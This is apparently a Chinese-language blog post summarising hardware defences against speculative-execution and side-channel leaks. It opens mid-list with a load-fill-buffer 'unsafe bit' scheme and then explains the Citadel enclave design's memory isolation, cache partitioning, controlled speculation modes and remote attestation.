    • CPU 发出 load;若 miss,则 LFB 发起 refill request 到下层(L2/LLC/memory)。
    • 当 refill 返回数据,LFB 创建/更新条目并尝试写回 L1。
    • 写回前,LFB 查询 ROB unsafe mask:
      • 若 safe(bit==0 或 retired),写回并完成 load;
      • 若 unsafe(bit==1),则延迟写回并保持 LFB 条目直至该 bit clear或 ROB 重命中/ retirement。
    • 若 ROB/指令被 squash,LFB 丢弃对应条目。

位管理策略:

  1. unsafe bit == 1

    • load 的控制流未解析(依赖于一个条件/indirect branch whose target/direction not yet resolved);
    • load 地址计算依赖于未确认的 store(store‑buffer 地址未确定或 store 在 ROB 前仍未 retired);
    • 加载地址/权限来自未验证的来源(如 speculative value predictor 或从用户输入直接映射到地址);
    • 访问的是共享内存(可选策略,若想限制共享内存泄露更严格可一律 treat shared loads as MUSL);
    • 访问可能触发异常(如可能的 page fault/permission fault):将其视为 MUSL 直到异常处理确定(实现更保守但安全)。
  2. unsafe bit == 0

    • 控制流验证:相关的 branch resolved 且 prediction == actual;
    • store-load 依赖解析:先前的 store addresses 已经确认不是相同地址(或已 retired);
    • 值预测或其他 speculated sources 被证明正确;
    • 指令到达 ROB 头并被 non‑speculatively retired(最终保证 safe,但往往是最晚时机);
    • 若指令被 squash(mis-speculation),直接丢弃并无需清位(ROB entry 被回收)。

Citadel

微架构隔离

1.内存隔离:区分私有 / 共享内存,避免地址混淆原理

攻击者利用共享内存地址别名或权限混淆,构造 “通用读取 gadget” 泄露私有数据。通过严格划分内存权限和地址空间,确保私有内存仅 enclave 可访问,共享内存地址独立,阻断地址层面的攻击路径。

实现细节
  • 物理内存分区 :将物理内存划分为 64 个 32MB 固定区域,由安全监控器(SM)分配给不同安全域(enclave、OS、SM),核心通过内存位图寄存器存储访问权限,所有内存访问(含投机和页表遍历)均需经过权限校验。
  • 双页表机制
  • 私有页表:enclave 私有内存使用独立页表,存储在 enclave 私有内存中,仅 enclave 可访问;
  • 共享页表:共享内存使用单独页表,存储在共享内存中,OS 和 enclave 均有权限;
  • 地址区分:通过两个专用寄存器定义 enclave 私有虚拟内存范围,仅需虚拟地址即可判断内存类型,无需投机翻译物理地址(避免泄露)。
  • 跨域访问控制 :地址翻译时额外校验,确保访问地址与当前安全域匹配(私有内存仅 enclave 访问,共享内存需符合权限)。
应用场景
  • enclave 与 OS 共享内存通信(如 I/O、消息传递)时,避免 OS 通过地址混淆访问 enclave 私有内存;
  • 私有共享内存场景(如多个 enclave 间通信),确保 OS 无法窥探。
2. 共享组件隔离:阻断共享微架构的侧信道
原理

现代 CPU 共享组件(LLC、TLB、L1 缓存)是侧信道攻击的关键载体(如 LLC 缓存攻击、TLB 别名攻击)。通过对共享组件分区、 tagging 或旁路,避免跨安全域的状态泄露。

实现细节
共享组件 防护机制 原理 实现
LLC(末级缓存) 动态分区 + 细粒度刷新 避免不同安全域的缓存行竞争,防止通过缓存状态泄露 1. 按内存区域动态划分 LLC,SM 可配置每个区域的缓存切片大小;2. 新增 “Zero Device” 逻辑,支持按需刷新指定 LLC 切片(仅需访问对应地址的驱逐集);3. 缓存访问时按物理内存区域 ID 映射到对应切片。
TLB/ATC(地址翻译缓存) 标签隔离 防止跨域地址别名导致的翻译状态泄露 为 TLB/ATC 条目添加 “私有 / 共享内存” 标签,翻译时仅匹配同标签条目,避免混淆。
L1-D 缓存 旁路机制 避免 enclave 私有 L1 状态通过缓存一致性协议泄露 enclave 访问共享内存时,直接绕过 L1-D 缓存,数据从 LLC 直接加载 / 存储,减少 L1 状态暴露。
MSHR(缺失状态保持寄存器) 静态分区 防止跨核 MSHR 竞争导致的泄露 为不同核心静态分配 MSHR 资源,避免一个核心的请求影响另一个核心的 MSHR 状态。
应用场景
  • LLC 分区:适用于 enclave 和 OS 同时运行、需频繁访问共享内存的场景(如私有 ML 推理中加载共享模型权重);
  • L1-D 旁路:适用于共享内存访问无 temporal 复用的场景(如一次性数据传输),避免 L1 状态泄露;
  • TLB tagging:适用于大页内存场景,防止跨域地址别名攻击。
3. 上下文切换清理:清除状态残留
原理

安全域切换(如 OS→enclave、enclave→OS)时,微架构状态(L1 缓存、TLB、分支预测器)可能残留前一域的执行痕迹,成为侧信道。通过切换时强制清理,阻断状态残留泄露。

实现细节
  • 触发时机 :由 SM 介入所有安全域切换(如 enclave 创建 / 销毁、OS 调用 enclave);
  • 清理范围 :L1 缓存、TLB、ATC、MSHR、分支预测器(BTB/BHT/RAS);
  • 优化策略 :放松清理政策 ——enclave 与 mini-SM(enclave 私有 SM 副本)切换时不清理(二者无秘密隔离需求),仅跨安全域(如 enclave→OS)时全量清理。
应用场景
  • enclave 与 OS 频繁切换的场景(如加密库处理多个 OS 请求);
  • 多 enclave 共享核心的场景,避免 enclave 间状态残留泄露。

受控投机执行

通过两种执行模式,在 “安全” 和 “性能” 间平衡,确保投机执行不额外泄露秘密(符合 RMI 属性)。

1.Safe Mode(默认模式:无代码分析,普适安全)
原理

攻击者利用投机执行访问共享内存,修改共享微架构状态(如 LLC 缓存)泄露秘密。Safe Mode 禁止 “投机访问共享内存”,仅允许非投机状态(指令到达 ROB 头部)的共享内存访问,从根源阻断投机泄露。

实现细节
  • 判断逻辑 :内存执行流水线早期校验 —— 若访问共享内存且处于投机状态(未到达 ROB 头部),则判定为 “不安全”;
  • 处理流程
    • 不安全访问被 squash(撤销执行),并向内存保留站(MemRS)发送 “重新调度” 信号;
    • 待指令到达 ROB 头部(非投机状态),MemRS 重新调度该访问,执行共享内存操作;
  • 关键优化 :仅限制共享内存的投机访问,私有内存的投机执行不受影响(降低性能开销)。
应用场景
  • 无需高性能、代码片段复杂(难以分析)的场景,如 Python 运行时的通用代码、加密库中的非热点路径;
  • 作为默认模式,覆盖所有未启用 Burst Mode 的代码,确保基础安全性。
2. Burst Mode(性能优化模式:需静态代码分析)
原理

Safe Mode 对共享内存访问的延迟会影响性能(如 memcpy、批量数据传输)。Burst Mode 允许 “有限投机访问共享内存”,但通过 “直线投机 + 静态代码分析” 确保投机路径不泄露秘密。

实现细节

(1)硬件层面:限制投机类型

  • 禁用复杂分支预测器:关闭 BTB(分支目标缓冲区)、BHT(分支历史表)、RAS(返回地址栈);
  • 强制直线投机:仅预测 “pc+4”(顺序执行),无间接分支或跳转预测,避免攻击者操控预测目标;
  • 投机屏障:通过 CSR 寄存器写入启用 Burst Mode,该写入指令同时作为投机屏障,隔离前后代码的投机状态。

(2)软件层面:静态代码分析(工具 sta)

  • 分析目标:代码片段需满足两个条件:
    • 自包含性:控制流限于代码片段内,无间接分支,所有分支目标均在片段内;
    • 无秘密泄露:投机路径中访问的共享内存地址不依赖秘密数据(通过反向依赖分析验证,标记 “泄露寄存器”,确保其不关联秘密);
  • 工具输出:通过分析的代码片段可启用 Burst Mode,未通过的仍使用 Safe Mode。
应用场景
  • 高性能需求的代码片段,如 memcpy(顺序共享内存访问)、ML 推理中的批量数据拷贝、加密库中的输入数据预处理;
  • 代码片段短小、逻辑简单(易通过静态分析)的场景,避免性能开销。

软件基础设施支撑(核心目标:保障防护机制落地)

1. 安全监控器(SM)+ 迷你 SM(Mini-SM)
原理

SM 是可信根(TCB 核心),负责管理安全域、权限控制和防护机制触发;Mini-SM 避免 SM 成为共享资源泄露点。

实现细节
  • SM 功能
  1. 内存区域分配与权限管理(物理内存分区、双页表配置);
  2. 安全域切换触发(微架构状态清理);
  3. enclave 生命周期管理(创建、销毁、线程分配);
  • Mini-SM 功能 :每个 enclave 私有副本,仅包含 enclave 所需的 SM API 子集,存储在 enclave 私有内存,避免 enclave 调用 SM 时泄露 timing 信息。
应用场景
  • 所有 enclave 相关操作的权限校验(如内存访问授权、enclave 启动);
  • 跨安全域交互的中介(如 enclave 与 OS 的共享内存权限配置)。
2. 远程证明机制
原理

确保 enclave 的完整性(未被篡改),避免攻击者通过篡改 enclave 代码绕过防护机制。

实现细节
  • 测量内容 :enclave 的初始状态(二进制代码、虚拟内存映射、Mini-SM 代码、线程配置);
  • 密钥推导 :SM 基于测量结果推导 enclave 的 Ed25519 密钥对,确保相同 enclave 在相同设备上的密钥一致性;
  • 证明流程 :SM 为 enclave 生成 attestation 证书(包含测量结果和公钥),远程用户通过验证证书确认 enclave 完整性,再通过公钥建立安全通信。
应用场景
  • 跨网络的 enclave 交互(如云端私有 ML 推理服务),用户验证服务端 enclave 未被篡改;
  • 敏感数据传输前的身份校验(如加密库接收客户端数据前,客户端验证 enclave 合法性)。

文章作者: Yssx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Yssx !
评论
  目录